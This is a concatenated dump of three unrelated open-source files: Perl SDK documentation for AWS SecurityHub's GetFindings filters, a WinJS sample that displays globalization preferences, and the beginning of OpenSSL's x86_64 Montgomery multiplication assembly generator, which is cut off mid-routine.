{\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceContainerImageId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceContainerImageName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceContainerLaunchedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceContainerName => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceDetailsOther => [\n {\n Comparison => 'EQUALS', # values: EQUALS; OPTIONAL\n Key => 'MyNonEmptyString', # OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceId => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourcePartition => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceRegion => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceTags => [\n {\n Comparison => 'EQUALS', # values: EQUALS; OPTIONAL\n Key => 'MyNonEmptyString', # OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ResourceType => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n SeverityLabel => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n SeverityNormalized => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n SeverityProduct => [\n {\n Eq => 1, # OPTIONAL\n Gte => 1, # OPTIONAL\n Lte => 1, # OPTIONAL\n },\n ...\n ], # OPTIONAL\n SourceUrl => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ThreatIntelIndicatorCategory => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ThreatIntelIndicatorLastObservedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ThreatIntelIndicatorSource => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ThreatIntelIndicatorSourceUrl => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ThreatIntelIndicatorType => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n ThreatIntelIndicatorValue => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Title => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n Type => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n UpdatedAt => [\n {\n DateRange => {\n Unit => 'DAYS', # values: DAYS; OPTIONAL\n Value => 1, # OPTIONAL\n }, # OPTIONAL\n End => 'MyNonEmptyString', # OPTIONAL\n Start => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n UserDefinedFields => [\n {\n Comparison => 'EQUALS', # values: EQUALS; OPTIONAL\n Key => 'MyNonEmptyString', # OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n VerificationState => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n WorkflowState => [\n {\n Comparison => 'EQUALS', # values: EQUALS, PREFIX; OPTIONAL\n Value => 'MyNonEmptyString', # OPTIONAL\n },\n ...\n ], # OPTIONAL\n }, # OPTIONAL\n MaxResults => 1, # OPTIONAL\n NextToken => 'MyNextToken', # OPTIONAL\n SortCriteria => [\n {\n Field => 'MyNonEmptyString', # OPTIONAL\n SortOrder => 'asc', # values: asc, desc; OPTIONAL\n },\n ...\n ], # OPTIONAL\n );\n\n # Results:\n my $Findings = $GetFindingsResponse->Findings;\n my $NextToken = $GetFindingsResponse->NextToken;\n\n # Returns a L<Paws::SecurityHub::GetFindingsResponse> object.\n\nValues for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object.\nFor the AWS API documentation, see L<https://docs.aws.amazon.com/goto/WebAPI/securityhub/GetFindings>\n\n=head1 ATTRIBUTES\n\n\n=head2 Filters => L<Paws::SecurityHub::AwsSecurityFindingFilters>\n\nThe finding attributes used to define a condition to filter the\nreturned findings.\n\n\n\n=head2 MaxResults => Int\n\nThe maximum number of findings to return.\n\n\n\n=head2 NextToken => Str\n\nThe token that is required for pagination. On your first call to the\nC<GetFindings> operation, set the value of this parameter to C<NULL>.\n\nFor subsequent calls to the operation, to continue listing data, set\nthe value of this parameter to the value returned from the previous\nresponse.\n\n\n\n=head2 SortCriteria => ArrayRef[L<Paws::SecurityHub::SortCriterion>]\n\nThe finding attributes used to sort the list of returned findings.\n\n\n\n\n=head1 SEE ALSO\n\nThis class forms part of L<Paws>, documenting arguments for method GetFindings in L<Paws::SecurityHub>\n\n=head1 BUGS and CONTRIBUTIONS\n\nThe source code is located here: L<https://github.com/pplu/aws-sdk-perl>\n\nPlease report bugs to: L<https://github.com/pplu/aws-sdk-perl/issues>\n\n=cut\n\n"} {"text": "//// Copyright (c) Microsoft Corporation. All rights reserved\r\n\r\n(function () {\r\n \"use strict\";\r\n\r\n var GlobalizationPreferences = Windows.System.UserProfile.GlobalizationPreferences;\r\n\r\n var outputText;\r\n\r\n var page = WinJS.UI.Pages.define(\"/html/scenario1-prefs.html\", {\r\n ready: function (element, options) {\r\n document.getElementById(\"showResults\").addEventListener(\"click\", showResults);\r\n outputText = document.getElementById(\"outputText\");\r\n }\r\n });\r\n\r\n function showResults() {\r\n // This scenario uses the Windows.System.UserProfile.GlobalizationPreferences class to\r\n // obtain the user's globalization preferences.\r\n var weekDayNames = [\"Sunday\", \"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\"];\r\n outputText.innerText = \"Languages: \" + GlobalizationPreferences.languages + \"\\n\" +\r\n \"Home Region: \" + GlobalizationPreferences.homeGeographicRegion + \"\\n\" +\r\n \"Calendar System: \" + GlobalizationPreferences.calendars + \"\\n\" +\r\n \"Clock: \" + GlobalizationPreferences.clocks + \"\\n\" +\r\n \"First Day of the Week: \" + weekDayNames[GlobalizationPreferences.weekStartsOn];\r\n }\r\n})();\r\n"} {"text": "#!/usr/bin/env perl\n\n# ====================================================================\n# Written by Andy Polyakov <appro@openssl.org> for the OpenSSL\n# project. The module is, however, dual licensed under OpenSSL and\n# CRYPTOGAMS licenses depending on where you obtain it. For further\n# details see http://www.openssl.org/~appro/cryptogams/.\n# ====================================================================\n\n# October 2005.\n#\n# Montgomery multiplication routine for x86_64. While it gives modest\n# 9% improvement of rsa4096 sign on Opteron, rsa512 sign runs more\n# than twice, >2x, as fast. Most common rsa1024 sign is improved by\n# respectful 50%. It remains to be seen if loop unrolling and\n# dedicated squaring routine can provide further improvement...\n\n# July 2011.\n#\n# Add dedicated squaring procedure. Performance improvement varies\n# from platform to platform, but in average it's ~5%/15%/25%/33%\n# for 512-/1024-/2048-/4096-bit RSA *sign* benchmarks respectively.\n\n# August 2011.\n#\n# Unroll and modulo-schedule inner loops in such manner that they\n# are \"fallen through\" for input lengths of 8, which is critical for\n# 1024-bit RSA *sign*. Average performance improvement in comparison\n# to *initial* version of this module from 2005 is ~0%/30%/40%/45%\n# for 512-/1024-/2048-/4096-bit RSA *sign* benchmarks respectively.\n\n# June 2013.\n#\n# Optimize reduction in squaring procedure and improve 1024+-bit RSA\n# sign performance by 10-16% on Intel Sandy Bridge and later\n# (virtually same on non-Intel processors).\n\n# August 2013.\n#\n# Add MULX/ADOX/ADCX code path.\n\n$flavour = shift;\n$output = shift;\nif ($flavour =~ /\\./) { $output = $flavour; undef $flavour; }\n\n$win64=0; $win64=1 if ($flavour =~ /[nm]asm|mingw64/ || $output =~ /\\.asm$/);\n\n$0 =~ m/(.*[\\/\\\\])[^\\/\\\\]+$/; $dir=$1;\n( $xlate=\"${dir}x86_64-xlate.pl\" and -f $xlate ) or\n( $xlate=\"${dir}../../perlasm/x86_64-xlate.pl\" and -f $xlate) or\ndie \"can't locate x86_64-xlate.pl\";\n\nopen OUT,\"| \\\"$^X\\\" $xlate $flavour $output\";\n*STDOUT=*OUT;\n\nif (`$ENV{CC} -Wa,-v -c -o /dev/null -x assembler /dev/null 2>&1`\n\t\t=~ /GNU assembler version ([2-9]\\.[0-9]+)/) {\n\t$addx = ($1>=2.23);\n}\n\nif (!$addx && $win64 && ($flavour =~ /nasm/ || $ENV{ASM} =~ /nasm/) &&\n\t `nasm -v 2>&1` =~ /NASM version ([2-9]\\.[0-9]+)/) {\n\t$addx = ($1>=2.10);\n}\n\nif (!$addx && $win64 && ($flavour =~ /masm/ || $ENV{ASM} =~ /ml64/) &&\n\t `ml64 2>&1` =~ /Version ([0-9]+)\\./) {\n\t$addx = ($1>=12);\n}\n\nif (!$addx && `$ENV{CC} -v 2>&1` =~ /((?:^clang|LLVM) version|.*based on LLVM) ([3-9])\\.([0-9]+)/) {\n\tmy $ver = $2 + $3/100.0;\t# 3.1->3.01, 3.10->3.10\n\t$addx = ($ver>=3.03);\n}\n\n# int bn_mul_mont(\n$rp=\"%rdi\";\t# BN_ULONG *rp,\n$ap=\"%rsi\";\t# const BN_ULONG *ap,\n$bp=\"%rdx\";\t# const BN_ULONG *bp,\n$np=\"%rcx\";\t# const BN_ULONG *np,\n$n0=\"%r8\";\t# const BN_ULONG *n0,\n$num=\"%r9\";\t# int num);\n$lo0=\"%r10\";\n$hi0=\"%r11\";\n$hi1=\"%r13\";\n$i=\"%r14\";\n$j=\"%r15\";\n$m0=\"%rbx\";\n$m1=\"%rbp\";\n\n$code=<<___;\n.text\n\n.extern\tOPENSSL_ia32cap_P\n\n.globl\tbn_mul_mont\n.type\tbn_mul_mont,\\@function,6\n.align\t16\nbn_mul_mont:\n\tmov\t${num}d,${num}d\n\tmov\t%rsp,%rax\n\ttest\t\\$3,${num}d\n\tjnz\t.Lmul_enter\n\tcmp\t\\$8,${num}d\n\tjb\t.Lmul_enter\n___\n$code.=<<___ if ($addx);\n\tmov\tOPENSSL_ia32cap_P+8(%rip),%r11d\n___\n$code.=<<___;\n\tcmp\t$ap,$bp\n\tjne\t.Lmul4x_enter\n\ttest\t\\$7,${num}d\n\tjz\t.Lsqr8x_enter\n\tjmp\t.Lmul4x_enter\n\n.align\t16\n.Lmul_enter:\n\tpush\t%rbx\n\tpush\t%rbp\n\tpush\t%r12\n\tpush\t%r13\n\tpush\t%r14\n\tpush\t%r15\n\n\tneg\t$num\n\tmov\t%rsp,%r11\n\tlea\t-16(%rsp,$num,8),%r10\t# future alloca(8*(num+2))\n\tneg\t$num\t\t\t# restore $num\n\tand\t\\$-1024,%r10\t\t# minimize TLB usage\n\n\t# Some OSes, *cough*-dows, insist on stack being \"wired\" to\n\t# physical memory in strictly sequential manner, i.e. if stack\n\t# allocation spans two pages, then reference to farmost one can\n\t# be punishable by SEGV. But page walking can do good even on\n\t# other OSes, because it guarantees that villain thread hits\n\t# the guard page before it can make damage to innocent one...\n\tsub\t%r10,%r11\n\tand\t\\$-4096,%r11\n\tlea\t(%r10,%r11),%rsp\n\tmov\t(%rsp),%r11\n\tcmp\t%r10,%rsp\n\tja\t.Lmul_page_walk\n\tjmp\t.Lmul_page_walk_done\n\n.align\t16\n.Lmul_page_walk:\n\tlea\t-4096(%rsp),%rsp\n\tmov\t(%rsp),%r11\n\tcmp\t%r10,%rsp\n\tja\t.Lmul_page_walk\n.Lmul_page_walk_done:\n\n\tmov\t%rax,8(%rsp,$num,8)\t# tp[num+1]=%rsp\n.Lmul_body:\n\tmov\t$bp,%r12\t\t# reassign $bp\n___\n\t\t$bp=\"%r12\";\n$code.=<<___;\n\tmov\t($n0),$n0\t\t# pull n0[0] value\n\tmov\t($bp),$m0\t\t# m0=bp[0]\n\tmov\t($ap),%rax\n\n\txor\t$i,$i\t\t\t# i=0\n\txor\t$j,$j\t\t\t# j=0\n\n\tmov\t$n0,$m1\n\tmulq\t$m0\t\t\t# ap[0]*bp[0]\n\tmov\t%rax,$lo0\n\tmov\t($np),%rax\n\n\timulq\t$lo0,$m1\t\t# \"tp[0]\"*n0\n\tmov\t%rdx,$hi0\n\n\tmulq\t$m1\t\t\t# np[0]*m1\n\tadd\t%rax,$lo0\t\t# discarded\n\tmov\t8($ap),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$hi1\n\n\tlea\t1($j),$j\t\t# j++\n\tjmp\t.L1st_enter\n\n.align\t16\n.L1st:\n\tadd\t%rax,$hi1\n\tmov\t($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$hi0,$hi1\t\t# np[j]*m1+ap[j]*bp[0]\n\tmov\t$lo0,$hi0\n\tadc\t\\$0,%rdx\n\tmov\t$hi1,-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$hi1\n\n.L1st_enter:\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$hi0\n\tmov\t($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tlea\t1($j),$j\t\t# j++\n\tmov\t%rdx,$lo0\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tcmp\t$num,$j\n\tjne\t.L1st\n\n\tadd\t%rax,$hi1\n\tmov\t($ap),%rax\t\t# ap[0]\n\tadc\t\\$0,%rdx\n\tadd\t$hi0,$hi1\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$hi1,-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$hi1\n\tmov\t$lo0,$hi0\n\n\txor\t%rdx,%rdx\n\tadd\t$hi0,$hi1\n\tadc\t\\$0,%rdx\n\tmov\t$hi1,-8(%rsp,$num,8)\n\tmov\t%rdx,(%rsp,$num,8)\t# store upmost overflow bit\n\n\tlea\t1($i),$i\t\t# i++\n\tjmp\t.Louter\n.align\t16\n.Louter:\n\tmov\t($bp,$i,8),$m0\t\t# m0=bp[i]\n\txor\t$j,$j\t\t\t# j=0\n\tmov\t$n0,$m1\n\tmov\t(%rsp),$lo0\n\tmulq\t$m0\t\t\t# ap[0]*bp[i]\n\tadd\t%rax,$lo0\t\t# ap[0]*bp[i]+tp[0]\n\tmov\t($np),%rax\n\tadc\t\\$0,%rdx\n\n\timulq\t$lo0,$m1\t\t# tp[0]*n0\n\tmov\t%rdx,$hi0\n\n\tmulq\t$m1\t\t\t# np[0]*m1\n\tadd\t%rax,$lo0\t\t# discarded\n\tmov\t8($ap),%rax\n\tadc\t\\$0,%rdx\n\tmov\t8(%rsp),$lo0\t\t# tp[1]\n\tmov\t%rdx,$hi1\n\n\tlea\t1($j),$j\t\t# j++\n\tjmp\t.Linner_enter\n\n.align\t16\n.Linner:\n\tadd\t%rax,$hi1\n\tmov\t($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$lo0,$hi1\t\t# np[j]*m1+ap[j]*bp[i]+tp[j]\n\tmov\t(%rsp,$j,8),$lo0\n\tadc\t\\$0,%rdx\n\tmov\t$hi1,-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$hi1\n\n.Linner_enter:\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$hi0\n\tmov\t($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$hi0,$lo0\t\t# ap[j]*bp[i]+tp[j]\n\tmov\t%rdx,$hi0\n\tadc\t\\$0,$hi0\n\tlea\t1($j),$j\t\t# j++\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tcmp\t$num,$j\n\tjne\t.Linner\n\n\tadd\t%rax,$hi1\n\tmov\t($ap),%rax\t\t# ap[0]\n\tadc\t\\$0,%rdx\n\tadd\t$lo0,$hi1\t\t# np[j]*m1+ap[j]*bp[i]+tp[j]\n\tmov\t(%rsp,$j,8),$lo0\n\tadc\t\\$0,%rdx\n\tmov\t$hi1,-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$hi1\n\n\txor\t%rdx,%rdx\n\tadd\t$hi0,$hi1\n\tadc\t\\$0,%rdx\n\tadd\t$lo0,$hi1\t\t# pull upmost overflow bit\n\tadc\t\\$0,%rdx\n\tmov\t$hi1,-8(%rsp,$num,8)\n\tmov\t%rdx,(%rsp,$num,8)\t# store upmost overflow bit\n\n\tlea\t1($i),$i\t\t# i++\n\tcmp\t$num,$i\n\tjb\t.Louter\n\n\txor\t$i,$i\t\t\t# i=0 and clear CF!\n\tmov\t(%rsp),%rax\t\t# tp[0]\n\tlea\t(%rsp),$ap\t\t# borrow ap for tp\n\tmov\t$num,$j\t\t\t# j=num\n\tjmp\t.Lsub\n.align\t16\n.Lsub:\tsbb\t($np,$i,8),%rax\n\tmov\t%rax,($rp,$i,8)\t\t# rp[i]=tp[i]-np[i]\n\tmov\t8($ap,$i,8),%rax\t# tp[i+1]\n\tlea\t1($i),$i\t\t# i++\n\tdec\t$j\t\t\t# doesnn't affect CF!\n\tjnz\t.Lsub\n\n\tsbb\t\\$0,%rax\t\t# handle upmost overflow bit\n\txor\t$i,$i\n\tand\t%rax,$ap\n\tnot\t%rax\n\tmov\t$rp,$np\n\tand\t%rax,$np\n\tmov\t$num,$j\t\t\t# j=num\n\tor\t$np,$ap\t\t\t# ap=borrow?tp:rp\n.align\t16\n.Lcopy:\t\t\t\t\t# copy or in-place refresh\n\tmov\t($ap,$i,8),%rax\n\tmov\t$i,(%rsp,$i,8)\t\t# zap temporary vector\n\tmov\t%rax,($rp,$i,8)\t\t# rp[i]=tp[i]\n\tlea\t1($i),$i\n\tsub\t\\$1,$j\n\tjnz\t.Lcopy\n\n\tmov\t8(%rsp,$num,8),%rsi\t# restore %rsp\n\tmov\t\\$1,%rax\n\tmov\t-48(%rsi),%r15\n\tmov\t-40(%rsi),%r14\n\tmov\t-32(%rsi),%r13\n\tmov\t-24(%rsi),%r12\n\tmov\t-16(%rsi),%rbp\n\tmov\t-8(%rsi),%rbx\n\tlea\t(%rsi),%rsp\n.Lmul_epilogue:\n\tret\n.size\tbn_mul_mont,.-bn_mul_mont\n___\n{{{\nmy @A=(\"%r10\",\"%r11\");\nmy @N=(\"%r13\",\"%rdi\");\n$code.=<<___;\n.type\tbn_mul4x_mont,\\@function,6\n.align\t16\nbn_mul4x_mont:\n\tmov\t${num}d,${num}d\n\tmov\t%rsp,%rax\n.Lmul4x_enter:\n___\n$code.=<<___ if ($addx);\n\tand\t\\$0x80100,%r11d\n\tcmp\t\\$0x80100,%r11d\n\tje\t.Lmulx4x_enter\n___\n$code.=<<___;\n\tpush\t%rbx\n\tpush\t%rbp\n\tpush\t%r12\n\tpush\t%r13\n\tpush\t%r14\n\tpush\t%r15\n\n\tneg\t$num\n\tmov\t%rsp,%r11\n\tlea\t-32(%rsp,$num,8),%r10\t# future alloca(8*(num+4))\n\tneg\t$num\t\t\t# restore\n\tand\t\\$-1024,%r10\t\t# minimize TLB usage\n\n\tsub\t%r10,%r11\n\tand\t\\$-4096,%r11\n\tlea\t(%r10,%r11),%rsp\n\tmov\t(%rsp),%r11\n\tcmp\t%r10,%rsp\n\tja\t.Lmul4x_page_walk\n\tjmp\t.Lmul4x_page_walk_done\n\n.Lmul4x_page_walk:\n\tlea\t-4096(%rsp),%rsp\n\tmov\t(%rsp),%r11\n\tcmp\t%r10,%rsp\n\tja\t.Lmul4x_page_walk\n.Lmul4x_page_walk_done:\n\n\tmov\t%rax,8(%rsp,$num,8)\t# tp[num+1]=%rsp\n.Lmul4x_body:\n\tmov\t$rp,16(%rsp,$num,8)\t# tp[num+2]=$rp\n\tmov\t%rdx,%r12\t\t# reassign $bp\n___\n\t\t$bp=\"%r12\";\n$code.=<<___;\n\tmov\t($n0),$n0\t\t# pull n0[0] value\n\tmov\t($bp),$m0\t\t# m0=bp[0]\n\tmov\t($ap),%rax\n\n\txor\t$i,$i\t\t\t# i=0\n\txor\t$j,$j\t\t\t# j=0\n\n\tmov\t$n0,$m1\n\tmulq\t$m0\t\t\t# ap[0]*bp[0]\n\tmov\t%rax,$A[0]\n\tmov\t($np),%rax\n\n\timulq\t$A[0],$m1\t\t# \"tp[0]\"*n0\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[0]*m1\n\tadd\t%rax,$A[0]\t\t# discarded\n\tmov\t8($ap),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\n\tadd\t%rax,$A[1]\n\tmov\t8($np),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\n\tadd\t%rax,$N[1]\n\tmov\t16($ap),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\n\tlea\t4($j),$j\t\t# j++\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],(%rsp)\n\tmov\t%rdx,$N[0]\n\tjmp\t.L1st4x\n.align\t16\n.L1st4x:\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$A[0]\n\tmov\t-16($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[0]\n\tmov\t-8($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[0],$N[0]\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[0],-24(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$A[1]\n\tmov\t-8($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$A[0]\n\tmov\t($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[0]\n\tmov\t8($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[0],$N[0]\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[0],-8(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$A[1]\n\tmov\t8($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tlea\t4($j),$j\t\t# j++\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t-16($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],-32(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\tcmp\t$num,$j\n\tjb\t.L1st4x\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$A[0]\n\tmov\t-16($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[0]\n\tmov\t-8($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[0],$N[0]\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[0],-24(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[0]\n\tadd\t%rax,$A[1]\n\tmov\t-8($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t($ap),%rax\t\t# ap[0]\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\t\t# np[j]*m1+ap[j]*bp[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],-16(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\n\txor\t$N[1],$N[1]\n\tadd\t$A[0],$N[0]\n\tadc\t\\$0,$N[1]\n\tmov\t$N[0],-8(%rsp,$j,8)\n\tmov\t$N[1],(%rsp,$j,8)\t# store upmost overflow bit\n\n\tlea\t1($i),$i\t\t# i++\n.align\t4\n.Louter4x:\n\tmov\t($bp,$i,8),$m0\t\t# m0=bp[i]\n\txor\t$j,$j\t\t\t# j=0\n\tmov\t(%rsp),$A[0]\n\tmov\t$n0,$m1\n\tmulq\t$m0\t\t\t# ap[0]*bp[i]\n\tadd\t%rax,$A[0]\t\t# ap[0]*bp[i]+tp[0]\n\tmov\t($np),%rax\n\tadc\t\\$0,%rdx\n\n\timulq\t$A[0],$m1\t\t# tp[0]*n0\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[0]*m1\n\tadd\t%rax,$A[0]\t\t# \"$N[0]\", discarded\n\tmov\t8($ap),%rax\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[1]\n\tmov\t8($np),%rax\n\tadc\t\\$0,%rdx\n\tadd\t8(%rsp),$A[1]\t\t# +tp[1]\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[1]\n\tmov\t16($ap),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[1],$N[1]\t\t# np[j]*m1+ap[j]*bp[i]+tp[j]\n\tlea\t4($j),$j\t\t# j+=2\n\tadc\t\\$0,%rdx\n\tmov\t$N[1],(%rsp)\t\t# tp[j-1]\n\tmov\t%rdx,$N[0]\n\tjmp\t.Linner4x\n.align\t16\n.Linner4x:\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[0]\n\tmov\t-16($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t-16(%rsp,$j,8),$A[0]\t# ap[j]*bp[i]+tp[j]\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[1]\n\n\tmulq\t$m1\t\t\t# np[j]*m1\n\tadd\t%rax,$N[0]\n\tmov\t-8($ap,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t$A[0],$N[0]\n\tadc\t\\$0,%rdx\n\tmov\t$N[0],-24(%rsp,$j,8)\t# tp[j-1]\n\tmov\t%rdx,$N[1]\n\n\tmulq\t$m0\t\t\t# ap[j]*bp[i]\n\tadd\t%rax,$A[1]\n\tmov\t-8($np,$j,8),%rax\n\tadc\t\\$0,%rdx\n\tadd\t-8(%rsp,$j,8),$A[1]\n\tadc\t\\$0,%rdx\n\tmov\t%rdx,$A[0]\n\n\tmulq\t$m1\t\t\t# 